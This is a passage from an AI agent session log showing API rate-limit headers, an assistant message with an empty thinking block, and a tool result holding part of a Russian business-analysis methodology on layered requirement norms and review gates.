'none'\",\n[2026-09-29T07:46:20.987Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.993Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:21.005Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:21.018Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:21.026Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:21.034Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:21.041Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:21.052Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.055Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:21.063Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:21.069Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:21.095Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:21.104Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.113Z] [STDOUT]   \"request-id\": \"req_011CfXMpkKrqZVTNvVK5fx3W\",\n[2026-09-29T07:46:21.120Z] [STDOUT]   \"traceresponse\": \"00-aa913496c4df5341652a7e6f85f70ba1-bea15a70333580d1-01\",\n[2026-09-29T07:46:21.124Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:21.141Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:21.146Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:21.157Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:21.171Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:21.174Z] [STDOUT]   \"cf-ray\": \"a4295f94398e29ad-FRA\",\n[2026-09-29T07:46:21.178Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:21.182Z] [STDOUT] [log_f389f8] response parsed {\n[2026-09-29T07:46:21.192Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.200Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:21.206Z] [STDOUT]   body: X {\n[2026-09-29T07:46:21.216Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:21.224Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:21.228Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:21.230Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:21.233Z] [STDOUT]     },\n[2026-09-29T07:46:21.254Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:21.262Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:21.267Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:21.273Z] [STDOUT]   },\n[2026-09-29T07:46:21.280Z] [STDOUT]   durationMs: 889,\n[2026-09-29T07:46:21.287Z] [STDOUT] }\n[2026-09-29T07:46:21.299Z] [INFO] {\n[2026-09-29T07:46:21.299Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"message\": {\n[2026-09-29T07:46:21.299Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"id\": \"msg_011CfXMpijcTVczNieL2DMdp\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"content\": [\n[2026-09-29T07:46:21.299Z] [INFO]       {\n[2026-09-29T07:46:21.299Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:21.299Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:21.299Z] [INFO]         \"signature\": \"CAQSpAUKEAgSGAI4AUIIdGhpbmtpbmcSDJb+b6CinMStdDC4fxoMqjngr1YkkzMjPPqxIjAoiGbLuxg87wkFqzQaw8BV4o+OiatuG5wXAeoaz/YGqUOaYknU6Rf1f2tkDQS45N0qwQQe9FLpzhe13YtZySE0RLqgPiR4ndfSSf/BVpj8iFGqn5HDCZWHW1ttMk0V2uqacng+j+Q5qKxrwBCS6l/IMF19wwsxWdRpVBnAUz0HpqM12Bi/r0zKIKZzehcX1uQpa8WolCfS6DB8LItKI4S5OorMivLkGGzPXy0XsSG0Cirk7KhdTiQxx+OeoR/nBiHLV02BXiJkjmLptrE1iUhb/n1tO14k9CIOS4cMwwNIl5cXMPxWjaLztuJMKa9g05kqgE/Mnyao9eoKeM8+YMRea/zZ5k7BS8ZiEuUgtmwT8eUNNX2dS02/H18MnCmG/u+8Lk9n57n1AO/RTkMSUXHl17O2SHV1Wj0CjBHRkdtaHGucve24qY/vklCDN7xLpDQ3IT42zrbfGmYJPAwn92WvUhPhLUNNBPoNEee4VefdujjJIc2ElBjmznwD84xlWjJzjarKP2FZrE3qnuorneTVr74lN4g5BB4ruXn5qeiWJ1VaAbiPLLo90waQpv5pkuUybGvntbQmfmp62n0YqxX6s8eL37WdHYdXII2QBgkr+vwodXM9rEu4cQIjP4I7SEgibLH4UW+9I7eZWlFWKZ2Zo28d+lVKJBu9IQa8Jw/a+fY4X/5nGt1YxtddHcUVB2TjYU9J1922hrJ3Oyn7jS7LMJH+FQWspdfYp/hAJLbZpIf4xXdRKljQEhC9hPhVix8eUXJrV4JyTrXwJ1KwtX/Fe6wN7wmYB3gpnroutqC4mMlJFItfmU4fPc4NxIeMez7VYiSeGAE=\"\n[2026-09-29T07:46:21.299Z] [INFO]       }\n[2026-09-29T07:46:21.299Z] [INFO]     ],\n[2026-09-29T07:46:21.299Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:21.299Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_creation_input_tokens\": 14391,\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:21.299Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:21.299Z] [INFO]         \"ephemeral_1h_input_tokens\": 14391\n[2026-09-29T07:46:21.299Z] [INFO]       },\n[2026-09-29T07:46:21.299Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:21.299Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:21.299Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:21.299Z] [INFO]     },\n[2026-09-29T07:46:21.299Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:21.299Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:46:21.299Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:46:21.299Z] [INFO]         \"cache_missed_input_tokens\": 14136\n[2026-09-29T07:46:21.299Z] [INFO]       }\n[2026-09-29T07:46:21.299Z] [INFO]     },\n[2026-09-29T07:46:21.299Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:21.299Z] [INFO]   },\n[2026-09-29T07:46:21.299Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:21.299Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"uuid\": \"203352e2-3b78-42ae-94cb-b6e4a13cf6e9\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:19.969Z\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"request_id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\"\n[2026-09-29T07:46:21.299Z] [INFO] }\n[2026-09-29T07:46:21.310Z] [INFO] {\n[2026-09-29T07:46:21.310Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"message\": {\n[2026-09-29T07:46:21.310Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:21.310Z] [INFO]     \"content\": [\n[2026-09-29T07:46:21.310Z] [INFO]       {\n[2026-09-29T07:46:21.310Z] [INFO]         \"tool_use_id\": \"toolu_01Gkrt9W557wvgtf853e42FY\",\n[2026-09-29T07:46:21.310Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:21.310Z] [INFO]         \"content\": \"## 1. \u0417\u0430\u0434\u0430\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0440\u0435\u0448\u0430\u0435\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439\\n\\n\u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u0438\u0442\u044c \u0434\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u044f\u043d\u0443\u0442 \u0432 \u0440\u0430\u0437\u043d\u044b\u0435\\n\u0441\u0442\u043e\u0440\u043e\u043d\u044b.\\n\\n| \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 | \u041a\u043e\u043c\u0443 | \u0427\u0442\u043e \u0434\u0438\u043a\u0442\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0435 |\\n| --- | --- | --- |\\n| **\u041f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u044b** | \u0427\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0443, \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0443, \u043d\u043e\u0432\u043e\u043c\u0443 \u0411\u0410 | \u041d\u043e\u0440\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043a\u0430\u043a **\u0434\u0435\u043b\u044c\u0442\u0443** \u043a \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443: \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0432\u0437\u044f\u0442\u043e \u0438\u0437 BABOK, \u0447\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u0447\u0442\u043e \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430, \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 |\\n| **\u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f** | \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u0443 | \u041d\u043e\u0440\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c **\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439**: \u0431\u0435\u0437 \u043e\u0442\u0441\u044b\u043b\u043e\u043a \u00ab\u0441\u043c. \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u00bb, \u0431\u0435\u0437 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0439 \u00ab\u0447\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u0435\u0435\u00bb, \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0443 |\\n\\n\u042d\u0442\u043e \u0432 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u00ab\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0442\u0438\u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430\u00bb. \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u0438\u0442\u044c\\n\u043e\u0431\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0434\u043d\u0438\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d \u0438\u0437 \u0434\u0432\u0443\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u043b\u043e\u0432:\\n\\n- **\u041f\u0440\u043e\u0432\u0430\u043b \u0410 (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u043b\u044c\u0442\u044b).** \u0410\u0433\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0442\u0440\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e\\n  \u00ab\u043f\u0440\u0438\u043c\u0435\u043d\u0438 \u0434\u0435\u043b\u044c\u0442\u044b\u00bb. \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0430\u043a\u0442\u043e\u043c \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438,\\n  \u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c: \u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c.\\n  \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u2014 65,8 % \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `draft` \u043f\u0440\u0438\\n  13 % \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445: \u0441\u043f\u043e\u0440 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u043e\u0439, \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0442.\\n- **\u041f\u0440\u043e\u0432\u0430\u043b \u0411 (\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u043e\u0434).** \u0410\u0433\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043d\u043e\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u0443\u0442\u0440\u0430\u0447\u0435\u043d\u043e. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 BABOK \u0438\u043b\u0438 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u043e\u0433\u043e\\n  \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f; \u0441\u0432\u043e\u0434 \u0434\u0440\u0435\u0439\u0444\u0443\u0435\u0442 \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u043e\u043b\u044c\u043a\u043b\u043e\u0440\u043e\u043c.\\n\\n**\u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u0443.**\\n\\n## 2. Governance-\u0443\u0440\u043e\u0432\u0435\u043d\u044c: \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u043a\u0430\u043a \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442\\n\\n### 2.1. \u0421\u043b\u043e\u0438\\n\\n| \u0421\u043b\u043e\u0439 | \u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 | \u041a\u0442\u043e \u0432\u043b\u0430\u0434\u0435\u0435\u0442 | \u041a\u0430\u043a \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f |\\n| --- | --- | --- | --- | --- |\\n| `L0` | \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 | \u0427\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043a\u0430\u043a\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 baseline. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: [ISO/IEC/IEEE 29148:2018](https://www.iso.org/standard/72089.html), [BABOK Guide v3](https://www.iiba.org/career-resources/a-business-analysis-professionals-foundation-for-success/babok/), [ISO/IEC 25010:2023](https://www.iso.org/standard/78176.html), [\u0413\u041e\u0421\u0422 34.602-2020](https://docs.cntd.ru/document/1200181804) | \u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043e\u0440\u0433\u0430\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u0430\u0446\u0438\u0438 | \u041d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u043c\u0438; \u0432\u0435\u0440\u0441\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044e |\\n| `L1` | \u0414\u0435\u043b\u044c\u0442\u0430 \u043e\u0442\u0440\u0430\u0441\u043b\u0438 \u0418\u0422-\u0422\u0435\u043b\u0435\u043a\u043e\u043c | \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: [TM Forum eTOM / ODA](https://www.tmforum.org/oda/), \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u00ab\u0443\u0441\u043b\u0443\u0433\u0430\u00bb, \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u00bb, \u00ab\u043a\u0430\u043d\u0430\u043b\u00bb, \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440\u0438\u043a\u0430 \u0441\u0432\u044f\u0437\u0438 | \u042d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430 (\u0425\u0430\u0431) | ADR/RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0425\u0430\u0431\u0430 |\\n| `L2` | \u0414\u0435\u043b\u044c\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041a\u041a \u041c\u0430\u043d\u0433\u043e | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f: \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0424\u0422/\u0422\u0417 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f `4.1./4.1.1.`, BCREQ \u0438 \u0435\u0433\u043e \u0434\u0435\u0440\u0435\u0432\u043e, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Confluence \u0438 KB, 13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u041a\u041a | ADR/RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u043f\u0438\u0446\u044b |\\n\\n**\u041f\u0440\u0430\u0432\u0438\u043b\u043e `D1` (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u043b\u044c\u0442\u0430).** \u0421\u043b\u043e\u0439 `L1` \u0438 `L2` **\u0414\u041e\u041b\u0416\u0415\u041d** \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e\\n....\\n**\u043e\u0431\u044f\u0437\u0430\u043d** \u0443\u043c\u0435\u0442\u044c \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u0442\u0443\u0434\u0430 \u0432\u043e\u043f\u0440\u043e\u0441: \u043a\u0430\u043d\u0430\u043b \u043f\u043e\u0434\u044a\u0451\u043c\u0430 \u2014 \u0447\u0430\u0441\u0442\u044c \u0446\u0438\u043a\u043b\u0430, \u0430 \u043d\u0435\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u043d\u0435\u0433\u043e.\\n\\n## 5. \u0422\u0435\u043e\u0440\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432\\n\\n\u0413\u0435\u0439\u0442 \u2014 \u0442\u043e\u0447\u043a\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f. \u0422\u0440\u0438 \u0442\u0438\u043f\u0430\\n\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c\u044e, \u0430 **\u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u043d\u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c**.\\n\\n| \u0422\u0438\u043f | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 | \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e | \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c |\\n| --- | --- | --- | --- |\\n| **\u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (`G-self`)** | \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432 \u043f\u0440\u0438\u0451\u043c\u043a\u0438, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 | \u0414\u0451\u0448\u0435\u0432, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430; **\u043d\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c** \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0449\u0438\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 \u0441\u0443\u0442\u044c \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0441 \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c | \u0441\u0435\u043a\u0443\u043d\u0434\u044b |\\n| **\u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (`G-mach`)** | \u0424\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430: \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 KB, \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f, \u0441\u0445\u0435\u043c\u0430, \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044f | \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438, \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; **\u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u043c 